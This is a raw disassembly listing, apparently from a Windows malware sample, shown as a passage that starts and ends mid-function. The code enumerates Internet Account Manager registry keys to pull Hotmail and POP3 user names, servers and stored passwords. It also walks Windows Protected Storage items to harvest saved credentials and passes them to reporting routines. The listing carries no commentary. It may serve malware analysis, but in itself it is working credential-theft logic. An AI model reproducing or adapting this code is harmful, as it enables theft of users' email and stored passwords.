dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 27D4h call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_C4] xor ebx, ebx rep movsd cmp [ebp+var_3C], ebx mov edi, [ebp+var_C4] mov dword ptr [eax+0BCh], 1 jz short loc_423894 push 2710h lea eax, [ebp+var_27D4] push [ebp+var_3C] push eax call sub_429D10 add esp, 0Ch loc_423894: ; CODE XREF: sub_423846+35j cmp dword_457034, ebx mov esi, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" jnz short loc_4238A8 call sub_423919 jmp short loc_4238BE ; --------------------------------------------------------------------------- loc_4238A8: ; CODE XREF: sub_423846+59j push esi lea eax, [ebp+var_C0] push offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded" push eax push edi call sub_41CE4A add esp, 10h loc_4238BE: ; CODE XREF: sub_423846+60j cmp dword_4570A4, ebx jnz short loc_4238F0 push [ebp+var_14] cmp [ebp+var_3C], ebx push [ebp+var_C] push [ebp+var_10] jz short loc_4238ED lea eax, [ebp+var_27D4] push eax loc_4238DB: ; CODE XREF: sub_423846+A8j lea eax, [ebp+var_C0] push edi push eax call sub_423C7A add esp, 18h jmp short loc_423906 ; --------------------------------------------------------------------------- loc_4238ED: ; CODE XREF: sub_423846+8Cj push ebx jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238F0: ; CODE XREF: sub_423846+7Ej push esi lea eax, [ebp+var_C0] push offset aSPstore_dllNot ; "%s PStore.dll not loaded" push eax push edi call sub_41CE4A add esp, 10h loc_423906: ; CODE XREF: sub_423846+A5j push [ebp+var_40] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread pop edi pop esi pop ebx sub_423846 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423919 proc near ; CODE XREF: sub_423846+5Bp var_2EC = byte ptr -2ECh var_224 = byte ptr -224h var_15C = byte ptr -15Ch var_C4 = byte ptr -0C4h var_2C = byte ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2ECh push ebx push edi xor ebx, ebx push 3A98h push ebx push offset dword_66FBF0 call sub_429760 mov edi, dword_4370B4 add esp, 0Ch lea eax, [ebp+var_224] push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet Account Man"... push eax call edi ; dword_4370B4 lea eax, [ebp+var_24] push eax push 0F003Fh lea eax, [ebp+var_224] push ebx push eax push 80000001h call dword_456FC0 ; RegOpenKeyExA test eax, eax jnz loc_423C76 push esi mov [ebp+var_18], ebx mov [ebp+var_10], 3 mov esi, 96h loc_423981: ; CODE XREF: sub_423919+356j lea eax, [ebp+var_2C] mov [ebp+var_1C], 0C8h push eax push ebx push ebx lea eax, [ebp+var_1C] push ebx push eax lea eax, [ebp+var_2EC] push eax push [ebp+var_18] push [ebp+var_24] call dword_456E68 ; RegEnumKeyExA mov [ebp+var_20], eax lea eax, [ebp+var_224] push offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet Account Man"... push eax call edi ; dword_4370B4 lea eax, [ebp+var_224] push offset asc_44DABC ; "\\" push eax call dword_437090 ; lstrcatA lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_224] push eax call dword_437090 ; lstrcatA lea eax, [ebp+var_14] push eax push 0F003Fh lea eax, [ebp+var_224] push ebx push eax push 80000001h call dword_456FC0 ; RegOpenKeyExA lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aHttpmailUserna ; "HTTPMail UserName" push [ebp+var_14] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz loc_423B05 lea eax, [ebp+var_15C] push eax mov eax, dword_673688 imul eax, 12Ch add eax, offset dword_66FBF0 push eax call edi ; dword_4370B4 push esi lea eax, [ebp+var_15C] push ebx push eax call sub_429760 mov eax, dword_673688 add esp, 0Ch imul eax, 12Ch add eax, offset dword_66FCB8 push offset aHotmail ; "Hotmail" push eax call edi ; dword_4370B4 lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_10] push eax push ebx push offset aHttpmailPass2 ; "HTTPMail Pass2" push [ebp+var_14] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz loc_423C4E push 2 mov [ebp+var_C], ebx pop eax cmp [ebp+var_8], eax mov [ebp+var_4], eax jbe loc_423C39 loc_423AA0: ; CODE XREF: sub_423919+1E5j mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] push eax call dword_437268 ; IsCharAlphaNumericA test eax, eax jnz short loc_423AD3 mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] cmp al, 28h jz short loc_423AD3 cmp al, 29h jz short loc_423AD3 cmp al, 2Eh jz short loc_423AD3 cmp al, 20h jz short loc_423AD3 cmp al, 2Dh jnz short loc_423AF5 loc_423AD3: ; CODE XREF: sub_423919+19Aj ; sub_423919+1A8j ... mov eax, dword_673688 mov ecx, [ebp+var_4] imul eax, 12Ch mov edx, [ebp+var_C] mov cl, [ebp+ecx+var_C4] inc [ebp+var_C] mov byte_66FC54[eax+edx], cl loc_423AF5: ; CODE XREF: sub_423919+1B8j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jb short loc_423AA0 jmp loc_423C39 ; --------------------------------------------------------------------------- loc_423B05: ; CODE XREF: sub_423919+103j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3UserName ; "POP3 User Name" push [ebp+var_14] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz loc_423C65 lea eax, [ebp+var_15C] push eax mov eax, dword_673688 imul eax, 12Ch add eax, offset dword_66FBF0 push eax call edi ; dword_4370B4 push esi lea eax, [ebp+var_15C] push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3Server ; "POP3 Server" push [ebp+var_14] call dword_456DF0 ; RegQueryValueExA lea eax, [ebp+var_15C] push eax mov eax, dword_673688 imul eax, 12Ch add eax, offset dword_66FCB8 push eax call edi ; dword_4370B4 push esi lea eax, [ebp+var_15C] push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+var_8], esi push eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_10] push eax push ebx push offset aPop3Pass2 ; "POP3 Pass2" push [ebp+var_14] call dword_456DF0 ; RegQueryValueExA test eax, eax jnz loc_423C4E push 2 mov [ebp+var_C], ebx pop eax cmp [ebp+var_8], eax mov [ebp+var_4], eax jbe short loc_423C39 loc_423BD9: ; CODE XREF: sub_423919+31Ej mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] push eax call dword_437268 ; IsCharAlphaNumericA test eax, eax jnz short loc_423C0C mov eax, [ebp+var_4] mov al, [ebp+eax+var_C4] cmp al, 28h jz short loc_423C0C cmp al, 29h jz short loc_423C0C cmp al, 2Eh jz short loc_423C0C cmp al, 20h jz short loc_423C0C cmp al, 2Dh jnz short loc_423C2E loc_423C0C: ; CODE XREF: sub_423919+2D3j ; sub_423919+2E1j ... mov eax, dword_673688 mov ecx, [ebp+var_4] imul eax, 12Ch mov edx, [ebp+var_C] mov cl, [ebp+ecx+var_C4] inc [ebp+var_C] mov byte_66FC54[eax+edx], cl loc_423C2E: ; CODE XREF: sub_423919+2F1j inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jb short loc_423BD9 loc_423C39: ; CODE XREF: sub_423919+181j ; sub_423919+1E7j ... mov eax, dword_673688 mov ecx, [ebp+var_C] imul eax, 12Ch mov byte_66FC54[eax+ecx], bl loc_423C4E: ; CODE XREF: sub_423919+16Fj ; sub_423919+2ACj push esi lea eax, [ebp+var_C4] push ebx push eax call sub_429760 add esp, 0Ch inc dword_673688 loc_423C65: ; CODE XREF: sub_423919+20Cj inc [ebp+var_18] cmp [ebp+var_20], 103h jnz loc_423981 pop esi loc_423C76: ; CODE XREF: sub_423919+52j pop edi pop ebx leave retn sub_423919 endp ; =============== S U B R O U T I N E ======================================= sub_423C7A proc near ; CODE XREF: sub_423846+9Dp mov eax, offset loc_436680 call sub_42B7CC sub esp, 0DF0h push ebx push esi push edi push offset aProtectedstora ; "ProtectedStorage" call sub_42806A test eax, eax pop ecx jnz short loc_423CEF cmp [ebp+14h], eax mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/" mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" mov esi, offset dword_45026C jnz short loc_423CCF cmp [ebp+18h], eax jnz short loc_423CD9 cmp [ebp+1Ch], eax jz loc_423E25 push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A add esp, 14h loc_423CCF: ; CODE XREF: sub_423C7A+34j cmp dword ptr [ebp+18h], 0 jz loc_423E25 loc_423CD9: ; CODE XREF: sub_423C7A+39j push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 14h jmp loc_423E25 ; --------------------------------------------------------------------------- loc_423CEF: ; CODE XREF: sub_423C7A+20j call sub_428017 xor esi, esi mov [ebp-14h], esi push esi push esi lea eax, [ebp-10h] push esi push eax mov [ebp-4], esi mov [ebp-10h], esi call dword_456F0C cmp eax, esi jge short loc_423D73 xor eax, eax mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" cmp [ebp+14h], eax mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." mov esi, offset aSSD_0 ; "%s %s: <%d>" jnz short loc_423D4C cmp [ebp+18h], eax jnz short loc_423D56 cmp [ebp+1Ch], eax jz loc_423E14 call dword_437170 ; RtlGetLastWin32Error push eax push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A add esp, 18h loc_423D4C: ; CODE XREF: sub_423C7A+AAj cmp dword ptr [ebp+18h], 0 jz loc_423E14 loc_423D56: ; CODE XREF: sub_423C7A+AFj call dword_437170 ; RtlGetLastWin32Error push eax push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 18h jmp loc_423E14 ; --------------------------------------------------------------------------- loc_423D73: ; CODE XREF: sub_423C7A+94j cmp [ebp-10h], esi mov byte ptr [ebp-4], 1 mov [ebp-20h], esi jnz short loc_423D89 push 80004003h call sub_429260 loc_423D89: ; CODE XREF: sub_423C7A+103j mov edi, [ebp-10h] lea ecx, [ebp-20h] push ecx push esi mov eax, [edi] push esi push edi call dword ptr [eax+38h] cmp eax, esi jge loc_423E2C push offset dword_45025C push edi push eax call sub_42926E cmp dword ptr [ebp+14h], 0 mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" mov edi, offset aYdidb16dnmq_ ; "YdidB16dnMQ." mov esi, offset aSSD_0 ; "%s %s: <%d>" jnz short loc_423DE5 cmp dword ptr [ebp+18h], 0 jnz short loc_423DEB cmp dword ptr [ebp+1Ch], 0 jz short loc_423E03 call dword_437170 ; RtlGetLastWin32Error push eax push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A add esp, 18h loc_423DE5: ; CODE XREF: sub_423C7A+145j cmp dword ptr [ebp+18h], 0 jz short loc_423E03 loc_423DEB: ; CODE XREF: sub_423C7A+14Bj call dword_437170 ; RtlGetLastWin32Error push eax push edi push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 18h loc_423E03: ; CODE XREF: sub_423C7A+151j ; sub_423C7A+16Fj mov eax, [ebp-20h] and byte ptr [ebp-4], 0 test eax, eax jz short loc_423E14 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_423E14: ; CODE XREF: sub_423C7A+B4j ; sub_423C7A+D6j ... mov eax, [ebp-10h] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jz short loc_423E25 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_423E25: ; CODE XREF: sub_423C7A+3Ej ; sub_423C7A+59j ... xor eax, eax jmp loc_4245DE ; --------------------------------------------------------------------------- loc_423E2C: ; CODE XREF: sub_423C7A+120j mov ebx, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" loc_423E31: ; CODE XREF: sub_423C7A+8F0j ; sub_423C7A+8FCj xor edi, edi cmp [ebp-20h], edi jnz short loc_423E42 push 80004003h call sub_429260 loc_423E42: ; CODE XREF: sub_423C7A+1BCj mov eax, [ebp-20h] lea edx, [ebp-40h] push edi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_42457B sub esp, 10h lea esi, [ebp-40h] mov edi, esp lea eax, [ebp-84h] movsd movsd movsd push offset asc_450258 ; "%x" push eax movsd call dword_437278 ; wsprintfA add esp, 18h and dword ptr [ebp-2Ch], 0 cmp dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 2 jnz short loc_423E93 push 80004003h call sub_429260 loc_423E93: ; CODE XREF: sub_423C7A+20Dj mov esi, [ebp-10h] lea ecx, [ebp-2Ch] push ecx lea ecx, [ebp-40h] mov eax, [esi] push 0 push ecx push 0 push esi call dword ptr [eax+3Ch] test eax, eax jge short loc_423EB8 push offset dword_45025C push esi push eax call sub_42926E loc_423EB8: ; CODE XREF: sub_423C7A+230j mov edi, offset byte_454A54 loc_423EBD: ; CODE XREF: sub_423C7A+8D6j ; sub_423C7A+8E2j xor esi, esi cmp [ebp-2Ch], esi jnz short loc_423ECE push 80004003h call sub_429260 loc_423ECE: ; CODE XREF: sub_423C7A+248j mov eax, [ebp-2Ch] lea edx, [ebp-50h] push esi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_424561 cmp [ebp-10h], esi mov byte ptr [ebp-4], 3 mov [ebp-28h], esi jnz short loc_423EFC push 80004003h call sub_429260 loc_423EFC: ; CODE XREF: sub_423C7A+276j mov esi, [ebp-10h] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-50h] mov eax, [esi] push 0 push ecx lea ecx, [ebp-40h] push ecx push 0 push esi call dword ptr [eax+54h] test eax, eax jge short loc_423F25 push offset dword_45025C push esi push eax call sub_42926E loc_423F25: ; CODE XREF: sub_423C7A+29Dj ; sub_423C7A+8C8j xor esi, esi cmp [ebp-28h], esi jnz short loc_423F36 push 80004003h call sub_429260 loc_423F36: ; CODE XREF: sub_423C7A+2B0j mov eax, [ebp-28h] lea edx, [ebp-30h] push esi push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_424547 push dword ptr [ebp-30h] lea eax, [ebp-614h] push offset aWs ; "%ws" push eax call dword_437278 ; wsprintfA add esp, 0Ch cmp [ebp-10h], esi mov [ebp-24h], esi mov [ebp-18h], esi jnz short loc_423F7B push 80004003h call sub_429260 loc_423F7B: ; CODE XREF: sub_423C7A+2F5j xor eax, eax lea edx, [ebp-18h] push eax push eax push edx mov esi, [ebp-10h] lea edx, [ebp-24h] push edx mov ecx, [esi] push dword ptr [ebp-30h] lea edx, [ebp-50h] push edx lea edx, [ebp-40h] push edx push eax push esi call dword ptr [ecx+44h] test eax, eax jge short loc_423FAC push offset dword_45025C push esi push eax call sub_42926E loc_423FAC: ; CODE XREF: sub_423C7A+324j push dword ptr [ebp-18h] call dword_437088 ; lstrlenA mov esi, [ebp-24h] lea ecx, [esi-1] cmp eax, ecx jnb short loc_423FF3 xor ecx, ecx xor edx, edx test esi, esi jbe short loc_423FE9 loc_423FC7: ; CODE XREF: sub_423C7A+36Dj mov eax, [ebp-18h] mov al, [edx+eax] test al, al jnz short loc_423FDB mov byte ptr [ebp+ecx-414h], 2Ch jmp short loc_423FE2 ; --------------------------------------------------------------------------- loc_423FDB: ; CODE XREF: sub_423C7A+355j mov [ebp+ecx-414h], al loc_423FE2: ; CODE XREF: sub_423C7A+35Fj inc ecx inc edx inc edx cmp edx, esi jb short loc_423FC7 loc_423FE9: ; CODE XREF: sub_423C7A+34Bj and byte ptr [ebp+ecx-415h], 0 jmp short loc_42400B ; --------------------------------------------------------------------------- loc_423FF3: ; CODE XREF: sub_423C7A+343j push dword ptr [ebp-18h] lea eax, [ebp-414h] push offset aS_5 ; "%s" push eax call dword_437278 ; wsprintfA add esp, 0Ch loc_42400B: ; CODE XREF: sub_423C7A+377j mov esi, dword_4370B4 lea eax, [ebp-0DFCh] push edi push eax call esi ; dword_4370B4 lea eax, [ebp-814h] push edi push eax call esi ; dword_4370B4 lea eax, [ebp-84h] push offset a5e7e8100 ; "5e7e8100" push eax call dword_4370FC ; lstrcmpA test eax, eax jnz loc_4240FA lea eax, [ebp-1B0h] push edi push eax call esi ; dword_4370B4 lea eax, [ebp-414h] push offset asc_446E08 ; ":" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_424094 lea eax, [ebp-414h] push offset asc_446E08 ; ":" push eax call sub_42AEA0 pop ecx inc eax pop ecx push eax lea eax, [ebp-1B0h] push eax call esi ; dword_4370B4 lea eax, [ebp-414h] push offset asc_446E08 ; ":" push eax call sub_42AEA0 and byte ptr [eax], 0 pop ecx pop ecx loc_424094: ; CODE XREF: sub_423C7A+3E4j inc dword ptr [ebp-14h] lea eax, [ebp-414h] push edi push eax call dword_437178 ; lstrcmpiA test eax, eax jz short loc_4240BB lea eax, [ebp-1B0h] push edi push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_4240C1 loc_4240BB: ; CODE XREF: sub_423C7A+42Dj cmp dword ptr [ebp+1Ch], 0 jz short loc_4240FA loc_4240C1: ; CODE XREF: sub_423C7A+43Fj lea eax, [ebp-1B0h] cmp dword ptr [ebp+18h], 0 push eax lea eax, [ebp-414h] push eax lea eax, [ebp-614h] push eax push ebx push offset dword_45021C push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_4240F2 call sub_41CF4C jmp short loc_4240F7 ; --------------------------------------------------------------------------- loc_4240F2: ; CODE XREF: sub_423C7A+46Fj call sub_41CFE0 loc_4240F7: ; CODE XREF: sub_423C7A+476j add esp, 20h loc_4240FA: ; CODE XREF: sub_423C7A+3BFj ; sub_423C7A+445j lea eax, [ebp-84h] push offset aE161255a ; "e161255a" push eax call dword_4370FC ; lstrcmpA test eax, eax jnz loc_42425D lea eax, [ebp-614h] push offset aStringindex ; "StringIndex" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jnz loc_42425D lea eax, [ebp-614h] push offset dword_4501FC push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_42415C lea eax, [ebp-614h] push offset dword_4501FC push eax call sub_42AEA0 and byte ptr [eax], 0 pop ecx pop ecx loc_42415C: ; CODE XREF: sub_423C7A+4CAj lea eax, [ebp-614h] push 8 push eax lea eax, [ebp-1B0h] push eax call dword_43712C ; lstrcpynA lea eax, [ebp-1B0h] push offset dword_4501F4 push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4241A4 lea eax, [ebp-1B0h] push offset dword_4501EC push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz loc_42425D loc_4241A4: ; CODE XREF: sub_423C7A+50Dj lea eax, [ebp-1B0h] push edi push eax call esi ; dword_4370B4 lea eax, [ebp-414h] push offset dword_44F120 push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4241F9 lea eax, [ebp-414h] push offset dword_44F120 push eax call sub_42AEA0 pop ecx inc eax pop ecx push eax lea eax, [ebp-1B0h] push eax call esi ; dword_4370B4 lea eax, [ebp-414h] push offset dword_44F120 push eax call sub_42AEA0 and byte ptr [eax], 0 pop ecx pop ecx loc_4241F9: ; CODE XREF: sub_423C7A+549j mov esi, dword_437178 inc dword ptr [ebp-14h] lea eax, [ebp-414h] push edi push eax call esi ; dword_437178 test eax, eax jz short loc_42421E lea eax, [ebp-1B0h] push edi push eax call esi ; dword_437178 test eax, eax jnz short loc_424224 loc_42421E: ; CODE XREF: sub_423C7A+594j cmp dword ptr [ebp+1Ch], 0 jz short loc_42425D loc_424224: ; CODE XREF: sub_423C7A+5A2j lea eax, [ebp-1B0h] cmp dword ptr [ebp+18h], 0 push eax lea eax, [ebp-414h] push eax lea eax, [ebp-614h] push eax push ebx push offset dword_4501C8 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_424255 call sub_41CF4C jmp short loc_42425A ; --------------------------------------------------------------------------- loc_424255: ; CODE XREF: sub_423C7A+5D2j call sub_41CFE0 loc_42425A: ; CODE XREF: sub_423C7A+5D9j add esp, 20h loc_42425D: ; CODE XREF: sub_423C7A+494j ; sub_423C7A+4AFj ... lea eax, [ebp-84h] push offset aB9819c52 ; "b9819c52" push eax call dword_4370FC ; lstrcmpA test eax, eax jnz loc_4243FC mov eax, [ebp-18h] xor esi, esi xor edi, edi cmp [ebp-24h], esi jbe short loc_4242C6 loc_424283: ; CODE XREF: sub_423C7A+64Aj mov cl, [esi+eax] test cl, cl jnz short loc_424294 mov byte ptr [ebp+edi-414h], 2Ch jmp short loc_4242BE ; --------------------------------------------------------------------------- loc_424294: ; CODE XREF: sub_423C7A+60Ej push ecx call dword_437268 ; IsCharAlphaNumericA test eax, eax mov eax, [ebp-18h] jnz short loc_4242B4 mov cl, [esi+eax] cmp cl, 40h jz short loc_4242B4 cmp cl, 2Eh jz short loc_4242B4 cmp cl, 5Fh jnz short loc_4242BF loc_4242B4: ; CODE XREF: sub_423C7A+626j ; sub_423C7A+62Ej ... mov cl, [esi+eax] mov [ebp+edi-414h], cl loc_4242BE: ; CODE XREF: sub_423C7A+618j inc edi loc_4242BF: ; CODE XREF: sub_423C7A+638j inc esi inc esi cmp esi, [ebp-24h] jb short loc_424283 loc_4242C6: ; CODE XREF: sub_423C7A+607j and byte ptr [ebp+edi-415h], 0 and dword ptr [ebp-1Ch], 0 cmp byte ptr [eax+4], 0 lea esi, [ebp-412h] jbe loc_4243FC mov edi, offset dword_44F120 loc_4242E7: ; CODE XREF: sub_423C7A+77Cj inc esi lea eax, [ebp-214h] push esi push eax call dword_4370B4 ; lstrcpyA lea eax, [ebp-214h] push edi push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_42431B lea eax, [ebp-214h] push edi push eax call sub_42AEA0 and byte ptr [eax], 0 pop ecx pop ecx loc_42431B: ; CODE XREF: sub_423C7A+68Dj push edi push esi call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_424341 push edi push esi call sub_42AEA0 pop ecx inc eax pop ecx inc eax push eax lea eax, [ebp-0E8h] push eax call dword_4370B4 ; lstrcpyA loc_424341: ; CODE XREF: sub_423C7A+6ACj lea eax, [ebp-0E8h] push edi push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_424366 lea eax, [ebp-0E8h] push edi push eax call sub_42AEA0 and byte ptr [eax], 0 pop ecx pop ecx loc_424366: ; CODE XREF: sub_423C7A+6D8j push edi push esi call sub_42AEA0 pop ecx mov esi, eax pop ecx lea eax, [ebp-0E8h] push eax call dword_437088 ; lstrlenA lea esi, [esi+eax+9] lea eax, [ebp-0E8h] push offset byte_454A54 push eax call dword_437178 ; lstrcmpiA test eax, eax jz short loc_4243AE lea eax, [ebp-214h] push offset byte_454A54 push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_4243B4 loc_4243AE: ; CODE XREF: sub_423C7A+71Cj cmp dword ptr [ebp+1Ch], 0 jz short loc_4243E9 loc_4243B4: ; CODE XREF: sub_423C7A+732j lea eax, [ebp-0E8h] inc dword ptr [ebp-14h] push eax lea eax, [ebp-214h] push eax push ebx cmp dword ptr [ebp+18h], 0 push offset dword_450194 push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_4243E1 call sub_41CF4C jmp short loc_4243E6 ; --------------------------------------------------------------------------- loc_4243E1: ; CODE XREF: sub_423C7A+75Ej call sub_41CFE0 loc_4243E6: ; CODE XREF: sub_423C7A+765j add esp, 1Ch loc_4243E9: ; CODE XREF: sub_423C7A+738j mov eax, [ebp-18h] inc dword ptr [ebp-1Ch] movzx eax, byte ptr [eax+4] cmp [ebp-1Ch], eax jl loc_4242E7 loc_4243FC: ; CODE XREF: sub_423C7A+5F7j ; sub_423C7A+662j lea eax, [ebp-84h] push offset a220d5cc1 ; "220d5cc1" push eax call dword_4370FC ; lstrcmpA test eax, eax jnz loc_424517 xor esi, esi mov edi, offset byte_454A54 cmp dword_673688, esi jle short loc_424462 mov dword ptr [ebp-1Ch], offset byte_66FC54 loc_42442C: ; CODE XREF: sub_423C7A+7E6j lea eax, [ebp-614h] push eax push dword ptr [ebp-1Ch] call dword_4370FC ; lstrcmpA test eax, eax jnz short loc_424452 lea eax, [ebp-414h] push edi push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_424491 loc_424452: ; CODE XREF: sub_423C7A+7C4j add dword ptr [ebp-1Ch], 12Ch inc esi cmp esi, dword_673688 jl short loc_42442C loc_424462: ; CODE XREF: sub_423C7A+7A9j lea eax, [ebp-414h] push edi push eax call dword_437178 ; lstrcmpiA test eax, eax jz short loc_4244D5 mov eax, esi push edi imul eax, 12Ch mov edi, offset dword_66FBF0 add eax, edi push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_4244E0 jmp short loc_4244DA ; --------------------------------------------------------------------------- loc_424491: ; CODE XREF: sub_423C7A+7D6j imul esi, 12Ch lea eax, [ebp-414h] inc dword ptr [ebp-14h] push eax lea eax, dword_66FBF0[esi] push eax lea eax, dword_66FCB8[esi] push eax push ebx cmp dword ptr [ebp+18h], 0 push offset dword_45015C push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_4244CE call sub_41CF4C loc_4244C9: ; CODE XREF: sub_423C7A+859j add esp, 20h jmp short loc_424517 ; --------------------------------------------------------------------------- loc_4244CE: ; CODE XREF: sub_423C7A+848j call sub_41CFE0 jmp short loc_4244C9 ; --------------------------------------------------------------------------- loc_4244D5: ; CODE XREF: sub_423C7A+7F8j mov edi, offset dword_66FBF0 loc_4244DA: ; CODE XREF: sub_423C7A+815j cmp dword ptr [ebp+1Ch], 0 jz short loc_424517 loc_4244E0: ; CODE XREF: sub_423C7A+813j imul esi, 12Ch lea eax, [ebp-414h] add esi, edi push eax inc dword ptr [ebp-14h] push esi push ebx cmp dword ptr [ebp+18h], 0 push offset dword_45012C push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] jnz short loc_42450F call sub_41CF4C jmp short loc_424514 ; --------------------------------------------------------------------------- loc_42450F: ; CODE XREF: sub_423C7A+88Cj call sub_41CFE0 loc_424514: ; CODE XREF: sub_423C7A+893j add esp, 1Ch loc_424517: ; CODE XREF: sub_423C7A+796j ; sub_423C7A+852j ... mov esi, 200h lea eax, [ebp-614h] push esi push 0 push eax call sub_429760 push esi lea eax, [ebp-414h] push 0 push eax call sub_429760 add esp, 18h mov edi, offset byte_454A54 jmp loc_423F25 ; --------------------------------------------------------------------------- loc_424547: ; CODE XREF: sub_423C7A+2CEj mov eax, [ebp-28h] mov byte ptr [ebp-4], 2 cmp eax, esi jz loc_423EBD mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_423EBD ; --------------------------------------------------------------------------- loc_424561: ; CODE XREF: sub_423C7A+266j mov eax, [ebp-2Ch] mov byte ptr [ebp-4], 1 cmp eax, esi jz loc_423E31 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_423E31 ; --------------------------------------------------------------------------- loc_42457B: ; CODE XREF: sub_423C7A+1DAj cmp [ebp-14h], edi jnz short loc_4245B9 cmp [ebp+14h], edi mov esi, offset aSNoPstoreEntri ; "%s No PStore entries found." jnz short loc_4245A4 cmp [ebp+18h], edi jnz short loc_4245A9 cmp [ebp+1Ch], edi jz short loc_4245B9 push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CE4A add esp, 10h loc_4245A4: ; CODE XREF: sub_423C7A+90Ej cmp [ebp+18h], edi jz short loc_4245B9 loc_4245A9: ; CODE XREF: sub_423C7A+913j push ebx push esi push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_41CDD4 add esp, 10h loc_4245B9: ; CODE XREF: sub_423C7A+904j ; sub_423C7A+918j ... mov eax, [ebp-20h] and byte ptr [ebp-4], 0 cmp eax, edi jz short loc_4245CA mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4245CA: ; CODE XREF: sub_423C7A+948j mov eax, [ebp-10h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, edi jz short loc_4245DB mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4245DB: ; CODE XREF: sub_423C7A+959j xor eax, eax inc eax loc_4245DE: ; CODE XREF: sub_423C7A+1ADj mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn sub_423C7A endp ; =============== S U B R O U T I N E ======================================= sub_4245ED proc near ; CODE XREF: sub_424B0B+8Dp arg_0 = dword ptr 4 and dword_673690, 0 and dword_67368C, 0 push offset word_43EF70 push [esp+4+arg_0] call sub_42A50C pop ecx mov dword_6737CC, eax pop ecx xor ecx, ecx test eax, eax setnz cl mov eax, ecx 